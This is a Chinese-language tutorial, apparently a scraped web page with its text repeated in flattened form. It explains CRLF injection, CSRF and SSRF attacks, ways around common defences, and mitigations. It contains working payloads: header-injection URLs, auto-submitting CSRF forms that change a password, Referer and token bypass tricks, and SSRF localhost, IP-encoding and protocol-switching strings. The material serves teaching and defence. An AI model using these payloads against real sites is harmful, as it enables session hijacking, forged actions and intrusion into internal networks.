CRLF、CSRF、SSRF攻击与利用
字数 1620 2025-08-13 21:33:20

CRLF、CSRF、SSRF攻击与防御全面指南

1. CRLF注入攻击

1.1 基本原理

CRLF(Carriage Return Line Feed)代表回车换行,在不同系统中的表示:

  • Windows: CRLF (\r\n)
  • Linux/Unix: LF (\n)
  • Mac: 老版本用CR,新版用LF

HTTP规范中,CRLF表示一行的结束,请求头和响应头每行末尾都有\r\n

1.2 攻击原理

当服务器未对用户输入进行过滤,攻击者可以注入CRLF字符控制响应头:

GET http://example.com/skipto?u=http://other.com%0d%0aSetCookie:crlf HTTP/1.1

导致响应头被篡改:

HTTP/1.1 302 Found
Location:http://other.com
SetCookie:crlf
...

1.3 攻击利用方式

1.3.1 会话固定

通过插入Set-Cookie头为访问者设置固定会话:

GET http://example.com/skipto?u=http://other.com%0d%0aSet-Cookie:mycookie HTTP/1.1

1.3.2 XSS攻击

利用两个CRLF分隔响应头和正文,注入XSS代码:

GET http://example.com/skipto?u=%0d%0a%0d%0a HTTP/1.1

1.3.3 缓存中毒

插入恶意头影响缓存:

GET http://example.com/skipto?u=%0d%0aX-Forwarded-Host:http://fishing.com HTTP/1.1

1.3.4 缓存欺骗

利用条件:

  1. 缓存通过URL扩展名判断是否缓存
  2. 访问不存在资源返回页面而非404
  3. 受害者已通过身份验证

攻击流程:

  1. 诱使用户访问http://hack.com/attack/1.png
  2. 代理/CDN向服务器请求
  3. 服务器返回用户页面(200)
  4. 代理缓存1.png为账户页面
  5. 攻击者访问获取缓存

1.4 绕过防御方法

  1. URL单/双层编码
  2. 使用HTTP 1.0,不发送Host头
  3. \r\n转换为ASCII码
  4. 添加X-XSS-Protection:0头绕过浏览器过滤

2. CSRF攻击

2.1 基本原理

跨站请求伪造(CSRF)通过伪装成受信任用户请求网站。必要条件:

  1. 用户已登录目标网站
  2. 用户在不登出情况下访问恶意页面

2.2 攻击类型

2.2.1 GET型CSRF

构造恶意URL诱导用户访问:

<html>
<body onload="document.location='http://target.com/delete?id=1'">
404 not found
</body>
</html>

2.2.2 POST型CSRF

构造自动提交表单:

<html>
<body>
<form action="http://target.com/update" method=POST>
<input type="hidden" name="password" value="hacked">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2.3 绕过防御方法

2.3.1 Referer验证绕过

  1. 使用伪协议置空Referer:
<iframe src="data:text/html,...">
  1. 通过meta标签:
<meta name="referer" content="never">
  1. 针对特定验证方式:
  • 验证*.xxx.com:添加子域名
  • 验证包含xxx.com:创建xxx.com目录
  • 验证开头xxx.com:使用xxx.com.hack.com

2.3.2 Token验证绕过

  1. 完全删除Token(适用于删除功能)
  2. Token解码破解
  3. 仅使用Token静态部分

3. SSRF攻击

3.1 基本原理

服务端请求伪造(SSRF)利用服务器发起请求访问内网资源。

3.2 常见存在点

  • 分享/收藏功能
  • 网站采集功能
  • 页面优化转码
  • 在线翻译
  • 图片加载/下载
  • 云服务厂商API
  • 内置数据库(redis/mongodb)
  • 邮件系统
  • 未公开API

关键词:share, wap, url, link, src, source, target, u, display, sourceurl, imageurl, domain

3.3 攻击利用

  1. 信息收集:扫描内网
  2. 协议利用:访问敏感文件
  3. 内网应用攻击
  4. DOS攻击:请求大文件保持连接

3.4 绕过防御方法

3.4.1 IP限制绕过

  1. 攻击本地:
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::]
  1. 使用@符号:
http://example.com@127.0.0.1
  1. 短网址服务
  2. DNS解析服务:
http://127.0.0.1.xip.io

3.4.2 DNS重绑攻击

条件:

  • 可控域名
  • TTL=0

流程:

  1. 第一次解析返回外网IP通过验证
  2. 第二次解析返回内网IP

3.4.3 其他方法

  1. 文件上传处修改type
  2. 特殊标识符:
http://127。0。0。1
  1. 进制转换:
http://2130706433
  1. 更换协议:
dict://127.0.0.1:22
sftp://example.com:21111
tftp://example.com:21111
ladp://0.0.0.0:11211/%0astats%0aquit
gopher://...
file://...

4. 防御建议

4.1 CRLF防御

  1. 过滤\r\n等特殊字符
  2. 使用安全的HTTP头处理库
  3. 设置X-XSS-Protection

4.2 CSRF防御

  1. 使用CSRF Token
  2. 检查Referer头
  3. 关键操作使用二次验证
  4. 设置SameSite Cookie属性

4.3 SSRF防御

  1. 限制请求协议(仅HTTP/HTTPS)
  2. 禁止访问内网IP
  3. 使用白名单域名
  4. 禁用重定向
  5. 设置请求超时
  6. 验证响应内容类型

5. 参考资源

  1. CRLF注入详解
  2. SSRF攻击与防御
CRLF、CSRF、SSRF攻击与防御全面指南 1. CRLF注入攻击 1.1 基本原理 CRLF(Carriage Return Line Feed)代表回车换行,在不同系统中的表示: Windows: CRLF (\r\n) Linux/Unix: LF (\n) Mac: 老版本用CR,新版用LF HTTP规范中,CRLF表示一行的结束,请求头和响应头每行末尾都有 \r\n 。 1.2 攻击原理 当服务器未对用户输入进行过滤,攻击者可以注入CRLF字符控制响应头: 导致响应头被篡改: 1.3 攻击利用方式 1.3.1 会话固定 通过插入Set-Cookie头为访问者设置固定会话: 1.3.2 XSS攻击 利用两个CRLF分隔响应头和正文,注入XSS代码: 1.3.3 缓存中毒 插入恶意头影响缓存: 1.3.4 缓存欺骗 利用条件: 缓存通过URL扩展名判断是否缓存 访问不存在资源返回页面而非404 受害者已通过身份验证 攻击流程: 诱使用户访问 http://hack.com/attack/1.png 代理/CDN向服务器请求 服务器返回用户页面(200) 代理缓存 1.png 为账户页面 攻击者访问获取缓存 1.4 绕过防御方法 URL单/双层编码 使用HTTP 1.0,不发送Host头 将 \r\n 转换为ASCII码 添加 X-XSS-Protection:0 头绕过浏览器过滤 2. CSRF攻击 2.1 基本原理 跨站请求伪造(CSRF)通过伪装成受信任用户请求网站。必要条件: 用户已登录目标网站 用户在不登出情况下访问恶意页面 2.2 攻击类型 2.2.1 GET型CSRF 构造恶意URL诱导用户访问: 2.2.2 POST型CSRF 构造自动提交表单: 2.3 绕过防御方法 2.3.1 Referer验证绕过 使用伪协议置空Referer: 通过meta标签: 针对特定验证方式: 验证 *.xxx.com :添加子域名 验证包含 xxx.com :创建 xxx.com 目录 验证开头 xxx.com :使用 xxx.com.hack.com 2.3.2 Token验证绕过 完全删除Token(适用于删除功能) Token解码破解 仅使用Token静态部分 3. SSRF攻击 3.1 基本原理 服务端请求伪造(SSRF)利用服务器发起请求访问内网资源。 3.2 常见存在点 分享/收藏功能 网站采集功能 页面优化转码 在线翻译 图片加载/下载 云服务厂商API 内置数据库(redis/mongodb) 邮件系统 未公开API 关键词:share, wap, url, link, src, source, target, u, display, sourceurl, imageurl, domain 3.3 攻击利用 信息收集:扫描内网 协议利用:访问敏感文件 内网应用攻击 DOS攻击:请求大文件保持连接 3.4 绕过防御方法 3.4.1 IP限制绕过 攻击本地: 使用 @ 符号: 短网址服务 DNS解析服务: 3.4.2 DNS重绑攻击 条件: 可控域名 TTL=0 流程: 第一次解析返回外网IP通过验证 第二次解析返回内网IP 3.4.3 其他方法 文件上传处修改type 特殊标识符: 进制转换: 更换协议: 4. 防御建议 4.1 CRLF防御 过滤 \r\n 等特殊字符 使用安全的HTTP头处理库 设置 X-XSS-Protection 头 4.2 CSRF防御 使用CSRF Token 检查Referer头 关键操作使用二次验证 设置SameSite Cookie属性 4.3 SSRF防御 限制请求协议(仅HTTP/HTTPS) 禁止访问内网IP 使用白名单域名 禁用重定向 设置请求超时 验证响应内容类型 5. 参考资源 CRLF注入详解 SSRF攻击与防御